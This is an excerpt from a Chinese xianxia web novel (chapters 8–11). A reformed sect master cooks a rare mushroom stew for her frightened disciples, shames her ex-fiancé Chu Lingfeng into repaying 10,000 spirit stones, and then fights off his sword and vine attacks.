云见月的身影刚消失在宗门禁制之外,宗门内的气氛便陡然沉闷下来。 萧星尘抿着唇,目光死死盯着师尊消失的方向,一脸倔强,咬牙道: “她……就这样走了?” 郁仙倚着冰冷的门框,“呵,怪不得昨晚大发慈悲,又是烤鸡又是分肉的,原来是散伙饭。” “吃完了,就该滚了,我们这些‘累赘’,她终于摆脱了。” “不会的!”江迷雾下意识反驳,但声音却带着不确定的颤抖,“师尊她……她昨晚还给我上药,还给我剑穗……” “给你点甜头,才好心安理得地丢掉!”郁仙眼底是化不开的阴郁,“就像药仙谷那些人一样,最后那顿饱饭,不过是让你做个饱死鬼罢了。” 萧星尘身体猛地一僵。 郁仙的话像一把钝刀子,狠狠剜开了他心底那点刚刚冒头的希望。 是啊……昨晚的温柔,烤鸡的分享,都只是为了这最后的“体面告别”。 这样的事情,他又不是没有经历过。 他乃是修真世家萧家大房嫡长子,身负单一土灵根,本该被家族给予厚望,却因悟性不佳,修炼速度还不如五灵根的弟子。 像他这样的废物,看似是被家族送到了玄天宗进行培养,实则是用“体面”的方式抛弃了他。 他还以为师尊会不一样。 原来只是自己又一次的痴心妄想。 他攥紧的拳头里,心口沉闷。 “师尊……不要我们了?”苏渺渺软糯的声音突然响起。 她刚跑过来找师兄师姐玩,就看到他们一个个脸色难看,气氛压抑得样子。 郁仙低头看着这个最小的师妹,眼中怜悯:“对,她走了,再也不会回来了。” 苏渺渺的大眼睛里瞬间蓄满了泪水,“不会的,刚才……刚才师尊还跟渺渺说,要去做小鸡炖蘑菇给渺渺吃。师尊一定是去抓鸡,采蘑菇了。” “小鸡炖蘑菇?”郁仙嗤笑一声,显然不信,“不过是哄骗小孩的把戏。她……” “够了!”萧星尘猛地低吼一声,打断了郁仙的话。 第8章 小徒弟言灵言出法随,助我采到先天至宝 他胸口剧烈起伏,看着泪眼汪汪的渺渺,再看看郁仙冰冷的脸和江迷雾茫然失措的样子,一股难以言喻的烦躁和无力感攫住了他。 “……等她回来就知道了。”声音沙哑,更像是在说服自己。 他走到石旁坐下,不再言语,固执的目光死死锁住宗门入口。 与此同时。 罡风猎猎,拂动云见月的衣袂。 她御剑如电,一头扎入人迹罕至的深山老林。 双脚刚踏上松软湿润的腐殖层,前方灌木丛便传来熟悉的、带着怒气的“咕咕”声,夹杂着令人头皮发麻的嘶嘶威胁。 云见月眼睛一亮,屏息拨开浓密的枝叶。 只见一只羽毛和昨晚那只一般绚丽夺目的“七彩凤羽鸡”,正炸着毛,与一条色彩斑斓、三角头颅的毒蛇紧张对峙。 “运气真好!”云见月心头一喜。 她指尖微弹,一道冰寒灵力瞬间射出,精准地将那条毒蛇冻成了冰棍。 肥鸡受惊欲逃,却被她闪电般扼住脖颈,提溜起来。 咔嚓! 一声轻响,挣扎顿止。 早死晚死都是死,省得扑腾。 解决了主菜,该找配菜了。 她朝着林间阴凉潮湿、布满厚厚腐叶和朽木的地方寻去。 没走多远,一片奇异的光晕吸引了她的注意。 走近一看,云见月不禁惊叹出声:“我去……” 只见一片腐朽的巨大树根盘踞处,生长着数十朵奇异的蘑菇。 每一朵都不过婴儿拳头大小,却晶莹剔透如同琉璃,通体散发着柔和纯净如月华般银白色荧光。 菌伞之上,玄奥繁复的天然纹路赫然构成缓缓流转的微缩阴阳鱼。 一半生机盎然,流淌翡翠碧光;一半沉寂枯寂,萦绕灰败死气。 短小精悍的菌柄同样荧光流转。 整株蘑菇静静散发着一股难以言喻、融合极致生与死的矛盾气息,却又奇异地和谐统一。 “好漂亮的蘑菇,还会发光?这修真界的蘑菇果然不一般,看着就……特别有营养。” 云见月全然不识其珍贵,只觉得分外漂亮,且数量喜人。 她小心翼翼地将这一片荧光蘑菇采了个精光,心满意足地放入储物袋。 肥鸡,蘑菇,齐活! 小鸡炖蘑菇,我来啦! 云见月哼着小曲儿回到玄天宗时,看到的便是这样一幅景象: 萧星尘像尊石像般坐在石头上一动不动。 鹿闻声一声不吭杵在萧星尘身边。 郁仙倚在门边,脸上的冰冷裂开一道缝隙,满是错愕。 江迷雾张大了嘴巴,一副见了鬼的表情。 苏渺渺则挂着泪珠的小脸上瞬间绽放出巨大的惊喜,“师尊回来啦!渺渺就说师尊是去抓鸡采蘑菇了!” 云见月被这阵仗弄得一愣,随即了然,肯定是孩子们以为她跑了。 她从天而降,弯腰揉了揉渺渺的小脑袋,“答应渺渺的小鸡炖蘑菇,师尊怎么会食言?看,又肥又大的鸡!还有这个!” 她献宝似的从储物袋里捧出那些荧光流转的“枯荣轮回菇”。 “哇!这就是蘑菇吗?还会发光呢,好漂亮!”苏渺渺破涕为笑,大眼睛亮晶晶的。 萧星尘紧绷的身体微不可察地放松下来,紧攥的拳头也缓缓松开。 郁仙别过脸去,紧抿的唇角却似被什么东西撬动了一丝。 “等着,师尊这就去做饭!”云见月心情飞扬,直奔厨房。 拔毛、放血、清洗……云见月动作麻利依旧。 当她开始清洗那些荧光蘑菇时,那温润如玉的触感和丝毫不减的荧光让她啧啧称奇。 鹿闻声循着动静来到厨房外,想看看师尊在做什么,是否需要帮忙。 他刚走到门口,还没来得及开口。 “不——!!!住手啊!!!” 凄厉到变调的、饱含着无尽绝望和心痛的尖啸,在他识海中炸开。 “炎老您怎么了?”鹿闻声急忙在识海中询问。 炎老的声音充满了难以置信的崩溃,甚至带上了一丝哭腔:“混账!暴殄天物!天大的暴殄天物啊! 那……那是‘枯荣轮回菇’,是传说中的‘生死玄菌’啊!调和生死,逆转枯荣,只在蕴含极致生死道韵的古战场遗迹或上古大能坐化之地,历经千年以上阴阳二气滋养,才能侥幸孕育那么寥寥几朵。 老夫……老夫当年寻遍上古遗迹,踏破虚空,也只在一处绝地见过一朵早已干枯的标本。 她……她竟然采了这么一大兜?整整一大兜啊!还……还拿来用水洗?这简直是焚琴煮鹤,暴殄天物至极!啊啊啊!我的心,我的肝……” 炎老的神魂波动如同风中残烛,剧烈闪烁,几欲熄灭晕厥。 鹿闻声彻底石化在厨房门口,目瞪口呆地看着师尊手里那些被清水冲洗得更加晶莹剔透、荧光流转的琉璃般蘑菇,再看看旁边砧板上那只被拔光了毛、光溜溜等待下锅的“七彩凤羽鸡”。 识海中传来炎老微弱的、痛不欲生的补充:“那鸡好歹也是蕴含一丝火凤血脉的珍禽啊……” 也就是说,那只鸡虽然不是真正的上古神兽火凤凰,但也具有凤凰血脉,绝对不是普通的七彩凤羽鸡。 师尊这逆天的“运气”与“不识货”,简直能把炎老这等上古存在活活气死第二次! 云见月对识海中的风暴和门口呆滞的二徒弟浑然不觉。 她哼着不成调的歌谣,起锅烧水,将切好的鸡块放入焯水去腥。 水沸后捞出鸡块,重新加入清水,再将焯好的鸡块和那一捧洗得干干净净、散发着柔和月华荧光的“枯荣轮回菇”一股脑倒了进去。 想了想,又随手丢进去几片路上采的、闻着清香的灵草叶子做香料。 盖上破旧的锅盖,小火慢炖。 很快,一股难以形容的奇异香气便从锅盖缝隙中丝丝缕缕地弥漫开来。 这香气不同于昨晚烤鸡的霸道浓烈,而是一种更加醇厚、深邃的香。 鹿闻声立于门外,嗅着异香,体内因凤凰精元而躁动的火灵根,竟与那香气中的深沉道韵产生一丝玄妙共鸣,心神渐宁。 识海中,只剩炎老绝望的呻吟: “造孽啊,生死玄菌炖鸡,千古奇闻啊,老夫眼不见为净……”声音渐渐微弱下去,仿佛真的被气晕了。 炖煮良久,汤汁已成温润乳白,点点银荧光华如星河沉浮,美不胜收。 云见月揭开锅盖,浓郁的异香瞬间充满了整个厨房。 鸡块炖得酥烂,蘑菇则愈显饱满通透,荧光流转。 她舀了一小勺汤,吹了吹,小心尝了一口。 “唔!”云见月的眼睛瞬间亮得惊人,“鲜!太鲜了!层次感比云南的菌子还妙不可言!” 细细品味。 “全身暖洋洋的,舒服极了,这蘑菇果然大补!” 炎老:“......” 能不补吗? 那可是能生死人肉白骨的生死轮回菇。 死人吃了能复活,比千金难寻的天阶极品大还丹的功效还要强百倍。 至于活人吃了会怎样,他不清楚,因为从来没见过。 不过,从枯荣轮回菇的药效判断,吃下去估计能保命。 炎老气的肝疼,狠狠瞪了云见月一眼。 云见月立刻招呼徒弟们:“开饭了!快来尝尝为师的小鸡炖蘑菇!” 五个小家伙再次被这奇异的、散发着星辉的汤吸引。 浓郁的异香勾动着味蕾,连郁仙都忍不住多看了几眼那乳白星辉的汤汁。 云见月给每人盛了满满一大碗,特意在每只碗里都放了几朵荧光流转的蘑菇:“都尝尝这个蘑菇,看着就非同一般,肯定特别滋补。” 孩子们好奇地夹起那晶莹剔透的蘑菇送入口中。 口感脆嫩爽滑到了极致。 一股难以言喻的温和而磅礴的暖流瞬间在口腔化开,如同温柔的潮汐,迅速涌入四肢百骸,滋养着身体的每一个角落,仿佛浑身每一个毛孔都张开了。 五个小家伙捧着碗,再也顾不上什么矜持。 “吸溜——” “吧唧吧唧——” “唔......比昨天的烤鸡还要好吃。” “蘑菇……好……好次!” 五个小家伙捧着碗,埋头苦干,小嘴塞得鼓鼓囊囊,油光锃亮,小脸以肉眼可见的速度泛起健康的红晕,如同干瘪的花蕾吸饱了晨露,瞬间鲜活起来。 云见月看着这“饿虎扑食”般的场景,老母亲般的欣慰感油然而生。 一大锅分量十足的小鸡炖蘑菇,在五个风卷残云的小家伙面前,迅速见了底。 连碗底浓郁的汤汁都被江迷雾和苏渺渺刮得干干净净。 “嗝~”苏渺渺满足地打了个小饱嗝,摸着滚圆的小肚子,软绵绵地靠在江迷雾身上,大眼睛里全是餍足的幸福光芒。 其他几人也都是一副吃撑了不想动弹的模样。 厨房里弥漫着温馨的饱足感,连破败的环境都仿佛被这氛围柔化了。 然而,就在这温馨宁静的时刻。 “轰隆——” 一声震耳欲聋的巨响,毫无征兆地传遍整个玄天宗。 下一秒,一声蕴含着滔天怒火的厉喝传来。 “云见月,你给我滚出来——” 这声音!这威压! 五个小团子身子瞬间紧绷,脸上露出了害怕的神色。 这声音他们太熟悉了,正是青云剑宗之主——楚凌风! 他们的师尊,正是为了讨好这个男人,才不停的压榨他们,每次这个男人令师尊不高兴了,师尊转头就会将怒火发泄在他们身上。 听声音就知道楚凌风非常生气,他不高兴就会羞辱师尊。 师尊是不是又要变回原来那狠辣无情的模样了? 五个人抬头看向云见月。 小小的苏渺渺,大眼睛里尽是恐惧,身子颤抖的厉害。 她扑通一声跪在云见月面前,求饶:“师尊,求您不要打我们,渺渺乖,渺渺再也不馋嘴了。” 第9章 旧情人找上门讨债,看我不坑死你的 江迷雾小小的身体猛地一颤,巨大的恐惧如同冰水当头浇下。 他几乎是本能地紧跟着渺渺,“噗通”一声重重跪下,声音带着哭腔:“师尊,我以后也不嘴馋了,求您不要打渺渺和师兄师姐,要罚就罚我吧,都是我的错。” 他清澈的大眼睛里全是害怕和祈求。 这连锁反应般的下跪,令萧星尘和鹿闻声也纷纷跪下。 “师尊要罚就罚我,与师弟和师妹无关。” “不!罚我!” 郁仙看着眼前这令人心碎的一幕,血液仿佛都凝固了,遍体生寒。 她就不该这么轻易地相信云见月。 什么改变?什么温情?都是假的! 这才过去多久?就因为楚凌风来了,她就要再次把怒火发泄在他们身上了。 昨天晚上的烤鸡,今天的小鸡炖蘑菇……原来都是“断头饭”吗? 好后悔! 巨大的悔恨如同毒蛇啃噬着她的心脏。 昨晚就应该趁着她受伤,一剑杀了她的,如果杀了她,至少师兄师弟和师妹们此刻不用再承受这灭顶之灾。 郁仙攥紧了拳头,指甲深深掐进掌心,刺痛让她更加清醒。 她一步上前,瘦小的身躯带着一种孤注一掷的悲壮,张开双臂,死死挡在了跪在地上的人前面。 她仰起头,眼神如同淬了冰,直直地、毫不退缩地射向云见月。 没有言语,但那姿态,那眼神,比任何哭喊和咒骂都更清晰地表达着:要动他们,先踏过我的尸体! 云见月看着眼前这混乱绝望的一幕,只觉得一股邪火“噌”地一下从脚底板直冲天灵盖。 她简直恨死了楚凌风这个狗男人! 她辛辛苦苦,又是还剑又是包扎又是烤鸡又是炖汤,好不容易才让这群伤痕累累的小崽子对她升起那么一丁点儿的信任和依赖。 结果呢? 楚凌风这厮一来,仅仅一声吼,就让她所有的努力瞬间付诸东流。 徒弟们又变回了惊弓之鸟,甚至比之前更恐惧、更绝望。 “你们……”云见月上前一步,伸出手想要把跪在地上的四个徒弟拉起来,“快起来,我没有要惩罚你们的意思。” 然而,她的手还没碰到萧星尘等人,挡在最前面的郁仙就像被激怒的小兽,猛地将她推开,嘶吼:“滚开!我不许你伤害师兄师弟和师妹!” 云见月的手僵在半空,心像是被狠狠揪了一下。 郁仙眼中的恨意,比之前任何一次都要深,都要冷。 云见月正要解释,却被楚凌风的威胁打断。 “云见月,少装聋作哑,再不出来,本君就灭了你的玄天宗,片瓦不留!” 云见月眼底闪过不耐烦。 她收回手,安抚道:“都给我起来!为师说了不会罚你们!楚凌风那厮在外面狗叫,吵得人心烦,为师出去把他打发了就回来!谁再跪着胡思乱想,以后再有蘑菇汤就没他的份了!” 孩子们一脸狐疑,但还是缓缓站起了身。 云见月见状,不再过多解释,灵力运转,身影消失。 等再次出现时,已经出现在山门处。 云见月站在高高的台阶上,俯视着下方三人。 居中那人身材高大,一身青衫,面容俊朗却异常冷漠,那锐利如剑的眼神仿佛要将她凌迟。 看着那张曾让原主痴迷、如今只让她作呕的俊脸,云见月心底冷笑连连。 什么天之骄子?不过是个靠吸食原主心血、又当又立的软饭男! 当年原主瞎了眼当众退婚羞辱他是不对,可他如今这副高高在上、心安理得收礼却翻脸不认人的嘴脸,更令人不齿! 楚凌风一边厌恶着原身,一边又从来不拒绝原身的示好。 把“不拒绝不主动不负责”三不政策贯彻到底,给原身一种两人有机会复合的错觉。 面对这种又当又立、吃人不吐骨头的绝世渣男,云见月没当场吐他口水,已经是她素质高了。 “哪来的疯狗,跑到我玄天宗乱吠。” 这句话,令楚凌风脸上那万年不变的寒冰面具,第一次出现了清晰的裂痕。 他瞳孔骤然收缩,难以置信地看着那个熟悉又陌生的身影,简直不敢相信自己的耳朵。 对他痴迷纠缠的云见月竟然骂他? 她怎么敢? 站在楚凌风左右的萧凡和郁姝,都震惊的长大了嘴巴,仿佛第一次认识云见月,眼神里尽是错愕。 云见月却不管他们如何震惊。 她双手抱胸,毫无惧色地上下打量着楚凌风。 该说不说,不愧是书中的男主,皮囊确实生得极好。 “呦!这不是青云剑宗的少主楚凌风吗?我还当是有疯狗闯入了我玄天宗呢。” “云见月!”楚凌风的声音像是从牙缝里挤出来,带着冰碴子。 云见月对他的怒火视若无睹,继续讥讽道: “你不在自己那气派的青云剑宗呆着,跑到我这破落户的地界做什么?” 她眼波流转,故意拖长了调子,“不会是又缺什么法器法宝、灵丹妙药,想要从我这里‘要’吧?” 她啧啧两声,满脸的鄙夷:“啧啧啧,不得不说,楚少主你这脸皮真是厚得堪比城墙。换成是我,我可做不出随便拿别人东西,还一副天经地义、理直气壮的样子。 我啊,丢不起那个人!” “你......”楚凌风被这连珠炮似的羞辱堵得胸口发闷,额角青筋直跳,却一时找不到词反驳。 “我什么我?”云见月立刻打断,声音陡然拔高,带着质问,“你一个大男人,这些年拿了我多少东西,你自己心里没点逼数吗?” 她指着自己身后破败的山门和殿宇,痛心疾首地控诉:“看看!看看我这玄天宗被你和你那两个好徒弟吸成什么样了?穷得叮当响,耗子来了都得哭着走,我五个徒弟饿得前胸贴后背,个个面黄肌瘦!再看看你身后那俩......” 她的目光锐利如刀,扫过楚凌风身后被养得面色红润、甚至有些圆润的萧凡和郁姝,刻薄道: “吃我的,喝我的,拿我的,被我用真金白银喂得跟猪似的,到头来却是不知感恩的白眼狼,楚凌风你这软饭硬吃、吃人不吐骨头的本事,真是炉火纯青啊!” 她打定主意今天要让这吸血鬼大出血。 不然,她总不能天天跑出去打猎。 思及此,云见月火力全开:“你们青云剑宗家大业大,不至于真落魄到要跑来我这三流宗门打秋风吧?传出去,你楚大少主的脸往哪搁?青云剑宗的脸还要不要了?” “楚凌风,咱们都是成年人了,有些话不妨摊开说。 我这些年送你东西,别告诉我你不知道我是什么意思? 我那是为当年退婚的事道歉,是示好!你既然收下了我的东西,就代表你接受了我的道歉,默认了我们之前的婚约依旧作数!既然婚约作数,那咱们都老大不小了,是不是该商量商量,这婚约何时履行啊?” “你痴人说梦!”楚凌风仿佛被踩了尾巴的猫,厉声斥道,脸上是毫不掩饰的厌恶,“像你这种自私自利、心胸狭隘、虐待弟子的恶毒女人,我楚凌风根本看不上,想嫁给我?下辈子吧!” “看不上我?”云见月像是听到了天大的笑话,反问,“那你看得上我送你的东西?你这不就是典型的‘白嫖’吗?又想占尽便宜,又不想负半点责任,楚凌风,你这算盘珠子都快崩到我脸上了。” “白嫖”这两个字,狠狠刺痛楚凌风敏感的神经。 他确实是这么想的,也是这么做的。 但这种事,能做不能说。 一旦被传扬出去,他楚凌风“软饭男”、“靠女人资源修炼”的名声将传遍修真界,连带整个青云剑宗都会沦为笑柄,这是他绝对不允许的。 “谁稀罕你的破东西!”楚凌风色厉内荏地吼道,试图挽回一点颜面。 等的就是你这句话! 云见月眼中精光一闪,立刻顺杆爬,“既然楚师兄如此高风亮节,看不上我送的‘破东西’,那好办!请你把我这些年送你的所有法器、法宝、灵丹、妙药,统统原封不动地还给我,一件不能少,咱们银货两讫,互不相欠。” 楚凌风的脸瞬间黑如锅底。 吃进嘴里的肥肉,他怎么可能舍得吐出来? 那些资源,早已被他和他两个徒弟消化吸收,或是变成了实力的一部分,或是赏赐给了心腹,哪里还能原封不动地找回? 可若是不还……看着云见月那副豁出去不要脸的架势,他知道这女人真干得出来大肆宣扬的事。 这个该死的女人! 以前不是对他予取予求、痴迷讨好,随便给点冷脸就能打发吗? 今天是吃错药了? 还是他最近对她太过冷淡,反而激起了她的逆反心理? 楚凌风强压下滔天的怒火和憋屈,试图转移话题:“这件小事稍后再说,本君现在有要事问你。” “小事?”云见月不依不饶,“楚凌风,我给你的那些东西,按市价折算,总价值不低于一万下品灵石,如果我没记错的话你每个月领的宗门供给,撑死了一百块下品灵石吧?这一万下品灵石,相当于你领十年的宗门供给!你跟我说这是小事?” 她步步紧逼,眼神咄咄逼人:“好啊!既然你觉得是小事,那不如我现在就用传讯玉简,把这件事的前因后果、你楚大少主如何收了我价值一万灵石的‘破东西’却翻脸不认人、还想‘白嫖’的事迹,原原本本地传遍整个修真界。 让各大门派的道友们都来评评理,看看这到底是不是‘小事’。” 说着,她真的从储物袋里摸出了传讯玉简,作势就要激发。 第10章 从我这里拿走的东西,给我原封不动的还回来 “你——”楚凌风气得浑身发抖,恨不得立刻一掌拍死这个无耻的女人。 但他不敢赌! 云见月现在就是个光脚的,不怕他这个穿鞋的! 他青云剑宗少主的名声绝不能毁在这个疯女人手里。 “你到底想怎么样?”楚凌风几乎是咬着后槽牙,从喉咙里挤出这句话。 “我不想怎么样。” “既然你不愿意履行婚约,那就把我送你的东西,折算成灵石,尽数归还。从此我们两清,桥归桥,路归路,互不相欠!” “你休想!”萧凡忍不住跳出来,指着云见月鼻子骂道,“东西是你自己死皮赖脸送上门的,又不是我们逼你给的,送出去的东西往回要?云见月,你还要不要脸?” “就是!”郁姝也尖声附和,“自己送的东西,哪有往回要的道理?真是丢尽了玄天宗最后一点脸面。” “脸?”云见月嗤笑一声,眼神讥诮,“脸能当饭吃吗?” “我都被你们这三个吸血虫吸得宗门揭不开锅,徒弟饿得啃树皮了,我还要脸有什么用?” “要么,现在、立刻、马上,把一万下品灵石给我!要么……” 她晃了晃手中的传讯玉简,嘴角勾起冰冷的弧度,“我就让整个修真界都看看你们青云剑宗少主和他高徒的‘光辉事迹’,反正我云见月现在就是个破落户,不在乎这点脸面,就看你们青云剑宗,在不在乎了。” 她作势就要往玉简里输入灵力。 “住手!”楚凌风厉喝一声,脸色由铁青转为煞白,又涨得通红。 他死死盯着云见月手中的玉简,眼中是极度的憋屈。 权衡利弊,他最终选择了屈服——名声比这一万灵石重要! “好,一万下品灵石,给你!”楚凌风几乎是吼出来的。 他颤抖着手(气的),从自己的储物袋里清点出整整一万块闪烁着柔和光泽的下品灵石,然后像是扔垃圾一样,狠狠砸向云见月面门。 “拿去!” 云见月嘴角一勾,素手轻扬,一道柔和的灵力卷住那堆灵石,轻巧地卸去力道,精准地收入自己囊中。 她脸上瞬间阴转晴,眉开眼笑,仿佛刚才那个咄咄逼人、泼妇骂街的不是她一样。 这下,总算能给徒弟们买点灵米填饱肚子了。 穿越过来这两天,她也馋大米饭馋得不行了。 楚凌风看着云见月那副“小人得志”的模样,肺都要气炸了。 他眼中燃烧着熊熊怒火,仿佛要将云见月生吞活剥,声音阴冷: “云见月,你与本君之间的事,两清了!” “现在,该轮到本君找你算账了!” “说!昨天晚上,是不是你抢走了我徒儿萧凡和郁姝追捕的灵兽?” “若你识相,乖乖交出来,本君念在过往……尚可饶你一命,否则定将你抽魂炼魄,让你后悔今日所言所行。” “楚少主这是从我这里捞不到好处,开始睁着眼睛说瞎话了?”云见月嗤笑一声,眼神里的鄙夷几乎要溢出来。 “昨天晚上我什么时候抢了你徒弟的灵兽?说话可要讲证据,你休想空口白牙的诬陷我。” 见她不认账,萧凡气得跳出来指着她鼻子骂道:“贱人!你昨天晚上鬼鬼祟祟的出现在山林里,我和姝儿都看到了,你还不承认?” “笑话!”云见月姿态闲适,像看傻子,“那片山林又不是你青云剑宗圈起来的后花园,你们能去,我怎么就去不得?哪条规则写着不许我出现在那儿了?” “你……!”萧凡被噎得一时语塞。 郁姝上前一步,声音尖利地指责:“云见月,你少要颠倒是非!你去哪里自然不关我们的事,可你不该抢夺我们辛苦追踪的灵兽!” “证据呢?”云见月下巴微扬,“空口无凭就想给我定罪?青云剑宗教出来的徒弟,都是这般信口雌黄的吗?” “……”郁姝和萧凡顿时哑火。 他们当然没有铁证,火凤凰未被契约,气息也已消散,不过是凭着怀疑和昨晚只见过云见月一人,才笃定是她所为。 楚凌风周身杀意凝如实质,死死盯着云见月,声音冰寒刺骨:“本君最后问你一遍,昨晚,你有没有抓到一只灵兽?” “哦~~~”云见月像是终于明白过来,故意拖长了调子,恍然大悟般,“你说昨天晚上那只肥嘟嘟的‘七彩凤羽鸡’啊?没错!是我抓的!” “那又怎样?山野无主之物,谁抓到就是谁的,它自己不长眼撞到我面前,我抓了、杀了、烤了、吃了!怎么处置,那都是我的事,关你楚大少主屁事?!” 她扫过萧凡和郁姝羞愤交加的脸,冷笑道:“再者说了,你们口口声声说是‘你们’的灵兽,契约印记呢? 喊它一声,它会答应吗? 修真界亘古不变的规矩——无主之物,谁先得手归谁! 楚少主贵为一宗少主,连这点规矩都不懂?还是说……” 她刻意停顿,语气讥讽,“你们青云剑宗的规矩比较特别?只要你们‘看上’的东西,哪怕还没摸到边儿,就算你们的了?那这修真界,岂不是你青云剑宗的后院了?” “强词夺理!”萧凡气得跳脚,脸红脖子粗地吼道,“那灵兽明明是我们先发现、一路追踪、耗费灵力好不容易才打伤的,你不过是捡了便宜。” “哈!先发现?”云见月像是听到了天大的笑话,“这理由可真是新鲜,滑天下之大稽!照你这强盗逻辑,我先发现天上的太阳月亮,它们是不是也得姓云了?楚少主,你徒弟这脑子,怕不是被门夹过?还是说,这就是你青云剑宗的行事标准?” 她的目光在楚凌风师徒三人脸上扫过,仿佛已经洞穿了他们所有龌龊的心思,“我算是彻底看明白了,什么灵兽不灵兽的,都是放屁! 你们今天巴巴地跑来,根本就不是来讲什么道理的,就是因为我撕破了你们的脸皮,把你们这些年从我这里吸的血连本带利地掏了回来,你们恼羞成怒,觉得面子上挂不住,所以随便找个由头,想在我这儿耍耍威风,找回点场子,最好还能再压榨点好处出来是吧?” 她重重拍了拍腰间那个装着沉甸甸一万灵石的储物袋,发出清脆的声响,如同打在楚凌风脸上的耳光: “楚凌风,你这点下三滥的心思,真当别人都是瞎子看不穿吗?” “云见月!”楚凌风的脸已经黑得如同锅底,周身灵力因暴怒而剧烈翻涌。 他强压着立刻将眼前女人撕碎的冲动,声音带着最后一丝施舍:“本君念在往日旧情,再给你最后一次机会,交出灵兽,或者赔偿等价的宝物!否则……休怪本君手下无情,不讲情面!” “旧情?”云见月眼神睥睨,“少在这里假惺惺,我们之间只有旧怨。 想要灵兽?骨头和毛你要不要?我倒是可以给你扫点灰。 要赔偿?做你的春秋大梦!我玄天宗的一针一线,都跟你青云剑宗没有半块灵石的关系,想要?行啊——自己来抢啊!” “冥顽不灵!”楚凌风最后一丝虚伪的耐心被彻底碾碎,化神后期的恐怖修为毫无保留地轰然爆发。 不见他如何动作,一道凝练到极致、仿佛能撕裂空间的青色剑气凭空而生。 剑气蕴含着毁灭性的力量,撕裂空气发出刺耳欲聋的尖啸,瞬息间便刺到云见月心口,速度快到化神以下修士根本来不及反应。 云见月眼神骤然一凝,寒芒乍现。 她身前寒气狂潮般汹涌而出,瞬间凝聚成一面厚达数尺、通体晶莹剔透、表面布满古老玄奥冰纹的巨大冰墙。 极致的寒气弥漫开来,连空气都被冻结,飘落无数细小的冰晶。 轰隆—— 震耳欲聋的巨响炸开,那道恐怖的青色剑气狠狠撞在冰墙中心,坚逾精钢的冰墙剧烈震动,冰屑如同暴雪般四溅纷飞,蛛网般的巨大裂痕蔓延开来,发出令人牙酸的“咔嚓”声。 冰墙光芒急速暗淡,却终究在彻底崩碎前,硬生生扛下了这足以秒杀普通化神初期修士的致命一击。 楚凌风瞳孔一缩,脸上第一次露出了难以置信的惊愕。 怎么可能? 他这一剑,虽非全力,但也蕴含了化神后期的七成威能,足以重创甚至击杀寻常化神中期。 只有化神初期修为的云见月,怎么可能仅凭一面冰墙就挡了下来? 她这冰系神通的防御力,何时如此强悍了? 自从他得到机缘,以五灵根之资逆天崛起,同阶之中罕逢敌手,越级挑战更是家常便饭。 面对比他境界低的修士,向来是碾压之势,从未有人能如此硬抗他一击而不倒。 云见月……是第一个! 更让他心头无名火起的是,那张熟悉的脸上,再找不到半分往日的痴迷与讨好,只剩下冰冷的厌恶和……仿佛看脏东西般的疏离鄙夷。 他眯起眼睛,第一次真正地仔细打量着眼前这个熟悉又陌生的女人。 一股难以言喻的烦躁和莫名的失落感涌上心头。 他习惯了她的追捧,享受着她卑微的讨好所带来的虚荣感。 曾经高高在上的玄天宗宗主之女,如今却如同舔狗般对他摇尾乞怜,这是他向旁人炫耀的资本,也是他证明自己成功逆袭的勋章。 如今这勋章……似乎要碎了? 这让他极其不爽! “云见月!”楚凌风强行压下翻腾的情绪,声音带着一丝连他自己都未察觉的急躁,“本君再给你最后一次机会,只要你……” “闭嘴!”云见月厉声打断,“楚凌风,想要我玄天宗的东西,除非从我尸体上踏过去。” “我的人,我护着!” “我的东西,谁也休想抢走!” 第11章 旧情人废话太多,不如送他去西天见太奶 从厨房偷偷跑出来的五个小家伙,躲藏在巨石后。 刚藏好,就听到云见月说了这样一番热血沸腾,又暖心无比的话。 “我的人,我护着!”这六个字,如同九天神雷,劈进了五人冰封的心湖。 郁仙身体剧震,猛地抬头,死死盯着山门前那个身形微晃,却如同扎根山岳般挺立的身影。 那双总是浸满冰冷恨意的眼眸里,此刻翻涌着前所未有的、近乎撕裂的震撼与难以置信。 她……她真的在保护他们? 不是为了利用,不是为了折磨,而是……在保护? 生平第一次感受到被如此决绝地守护,一股难以言喻的酸涩猛地冲上郁仙的鼻头,眼前瞬间模糊。 她用力眨了眨眼,倔强地将泪水逼回,指甲深深掐进掌心,用疼痛提醒自己保持清醒,瞪大眼睛,不敢错过山门外生死一线的每一个瞬间。 “那就别怪本君无情了!”楚凌风被彻底激怒。 他双手快如幻影,印诀翻飞,衣袍被狂暴的灵力鼓荡得猎猎作响。 霎时间,他身后空间剧烈扭曲,密密麻麻、数以千计的青色剑气虚影凭空浮现。 每一道都散发着凌厉的杀机,剑尖森然,直指云见月和她身后那破败的山门! 剑气如林,遮天蔽日,恐怖的威压让整片空间都仿佛凝固。 “万剑朝宗——落!” 随着楚凌风剑指一挥,那漫天的青色剑雨发出撕裂苍穹的尖啸,如同天河倒灌,又似末日流星,带着毁灭一切的气势,铺天盖地地朝着云见月倾泻而下。 范围之大,覆盖了整个山门区域。 云见月瞳孔紧缩,感受到前所未有的压力。 躲?根本不可能。 只能硬抗! 她体内冰灵根的力量毫无保留地全面爆发,以她为中心,寒气疯狂扩张。 空气中的水汽瞬间被抽干、冻结。 无数道细小却坚韧无比、闪烁着幽蓝寒光的冰棱在她头顶上方凭空凝结、疯狂生长。 转瞬间,一片巨大无比、覆盖了整个山门上方空间的冰刺悍然成型。 穹顶之上,无数冰刺倒悬,散发着冻结灵魂的寒意。 密集如骤雨的青色剑雨与幽蓝冰刺冲撞到一起。 叮叮叮—— 噗噗噗—— 大部分剑气在接触的瞬间就被恐怖的寒气冻结、崩碎,化为漫天冰屑飞散。 然而,这剑雨太过密集,威力太过强横。 仍有不少剑气穿透了冰晶的防御,狠狠轰击在云见月周围的地面上,留下一个个深不见底的孔洞和纵横交错的恐怖剑痕。 冰刺剧烈震颤,光芒明灭不定,云见月脸色越发苍白,显然维持这超大范围防御消耗巨大。 楚凌风眼中厉色一闪,着实没料到自己这杀伤性巨大的大范围攻击,居然被云见月挡下了。 化神初期能接连挡下化神后期的攻击,这简直是将他化神后期大能的颜面踩在脚下。 虽然非常舍不得云见月这个随时随地提供修炼资源的“血包”。 但她一再下他的面子。 看来不得不除了。 楚凌风双手印诀再变,磅礴的木系灵力汹涌而出,带着一股诡异的吞噬之力。 “青木化龙——锁!” 只见,云见月脚下的地面轰然炸裂。 数条粗壮无比、布满狰狞倒刺的巨型藤蔓如同从地狱探出的魔龙,破土而出。 它们无视刺骨的寒气,带着沛然巨力,瞬间缠绕上云见月的双腿、腰身。 噗嗤!噗嗤! 藤蔓上的倒刺狠狠扎入她的护体灵力,深深刺入她的皮肉之中。 鲜血顿时流出,顺着藤蔓滴落而下。 